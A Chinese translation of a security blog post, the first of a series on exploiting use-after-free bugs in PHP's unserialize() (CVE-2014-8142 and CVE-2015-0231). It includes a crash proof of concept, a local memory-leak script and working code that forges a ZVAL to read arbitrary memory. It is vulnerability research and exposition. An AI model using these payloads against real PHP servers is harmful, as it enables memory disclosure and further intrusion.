PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)

时间:2015-2-11    作者:admin    分类: 技术交流


作者:Cigital公司的安全顾问Qsl1pknotp

题目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 1

地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

很多人都认为,对基于Web的应用程序来说,内存崩溃类bug不是什么严重问题。尤其现在XSS和SQL注入类漏洞仍然大行其事的情况下,不会有多少注意力投入到这类bug中,它们会被当做“不可利用”或者被直接无视。然而,假如攻击成功,利用这类漏洞进行攻击所导致的结果将远远超出SQL注入以及XSS,因为:

1. 攻击者将得到有保证的系统访问权。 2. 将会很难识别恶意攻击数据流量。 3. 需要维护者/供应商提供专门补丁,并且只能希望修补得没有问题。

接下来笔者将发表三篇该系列攻击的文章,本文是其中的首篇。该系列将从CVE-2014-8142的利用开始讲起、然后是远程任意信息泄露、最后以获取PHP解释器的控制权结束。Stefan Esser(@i0n1c)是这两个CVE的原作者,并且是在2010年Syscan上第一个讲解如何控制PHP解释器(被称为“ret2php”)的。

0x01 漏洞起源


这一切都始于2004年,Esser在unserialize()函数中发现的一个Use After Free漏洞。这是一个Hardened-PHP(译者注:如果项目中,服务器的安全性是最重要的,就可以称为是Hardened-PHP)项目的一部分,没有任何代码公开。2010年,Esser又在SPLObjectStorage的unserialize()中发现另一个User After Free,这个漏洞直接产生了Syscan会上的一个发言,跟第一次漏洞一样,本次也没有代码公开。最后,CVE-2014-8142被发现,又被打补丁,但是因为补丁没打好,又导致了CVE-2015-0231。

幸运的是,这次Stefan终于给出了一个可令PHP解释器产生故障的POC。下面的代码就会导致有此漏洞的PHP解释器出现问题。

<?php for ($i=4; $i<100; $i++) { var_dump($i); $m = new StdClass(); $u = array(1); $m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ccc = &$u; $m->ddd = str_repeat("A", $i); $z = serialize($m); $z = str_replace("bbb", "aaa", $z); var_dump($z); $y = unserialize($z); var_dump($y); } ?>

source: StefanEsser_Original_POC

0x02 漏洞分析利用


下面来解释下POC是如何工作的:我们通过重新添加“aaa”对象的值(不同值),来更新对象“aaa”,然而“ccc”对象其实还是指向原始“aaa”对象中的某一个值。

既然我们已经在顶层实现上知道了它的工作原理,接下来就让我们一起试着找到问题的罪魁祸首吧。我们在process_nested_data函数中寻找,快速浏览一下,会发现一段特定的代码:

让我们一起跟进脚本中来确定真正发生了什么。我们将断点断在var_unserializer.c的第337行来看一下(此处位于process_nested_data函数内)。

继续运行,跟过下面的代码:

<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}'; $x = unserialize($data); var_dump($x); ?>

source:StefanEsser_Original_LocalMemLeak.php

运行上面的脚本,断点第一次命中时跳过,第二次命中时,执行下面的查看命令:

printzv *(var_entries)var_hash->first

可以看到地址的一个数组,这些地址指向unserialize()函数解析的变量值。我们感兴趣的是第五个0xb7bf87c0(我们上面php代码中用的是R:5)。既然已经得到地址,我们就去看一下内容,然后步过该断点并继续运行。

已经调用完该可疑函数,接下来重新看一下刚才我们选定的地址中出现了什么内容:

成功搞定!当然,还需要确认下该地址是否还在var_hash表中,然后继续运行。

果然还在,继续:

Sweet!已经可以泄露前面地址中的数据了。我们现在已经可以成功泄露出之前所提供字串的长度,但这其实没什么意思。那么能不能泄露出任意内存数据呢?下面就是你想要的代码:

<?php
$fakezval = pack( 'IIII', //unsigned int 0x08048000, //address to leak 0x0000000f, //length of string 0x00000000, //refcount 0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7 ); //obj from original POC by @ion1c $obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}'; $obj=unserialize($obj); for($i = 0; $i < 5; $i++) { //this i value is larger than usually required $v[$i]=$fakezval.$i; //repeat to overwrite } //due to the reference being overwritten by our loop above, leak memory echo $obj->ccc; ?>

source: PHPLeak

下面是输出数据:

我们这里做的操作是非常简单的(希望是)。我们创建自己的ZVAL(PHP使用的内部数据结构)数据结构。我们定义了几个东西,使pack()函数获取我们的代码执行。按照顺序,它们是:

类型(例子中用的是unsigned int 地址(我们想要泄露的地址) 长度(我们想要泄露内存的长度) 参考标志(0 数据类型(6,代表String类型)

当然,如果我们没有伪造一个string ZVAL结构,这些值是会变化的。代码中的for循环是真正执行内存覆盖操作(覆盖之前释放掉的内存),这些操作使我们得到上述的输出数据。代码中我令循环数$i的值大于其所需的值,只是用以确保代码的通用性,当然我测试过的大多数机器只需要2次就可以了,不需要执行5次。

好了,现在已经可以泄露随意地址数据了,让我们再一起看看CVE-2015-0231?很简单:只需将“aaa”替换成“123”,看一下输出的数据:

0x03 下一步研究


通过上述过程,我们已经完成了一个可在本地泄露任意内存地址数据的POC,且该POC同时适用于两个CVE漏洞的。我们下一步目标是仍然是数据泄露,所不同的是,将会是远程数据泄露!

敬请期待第二回,远程数据泄露!

标签: php 内存破坏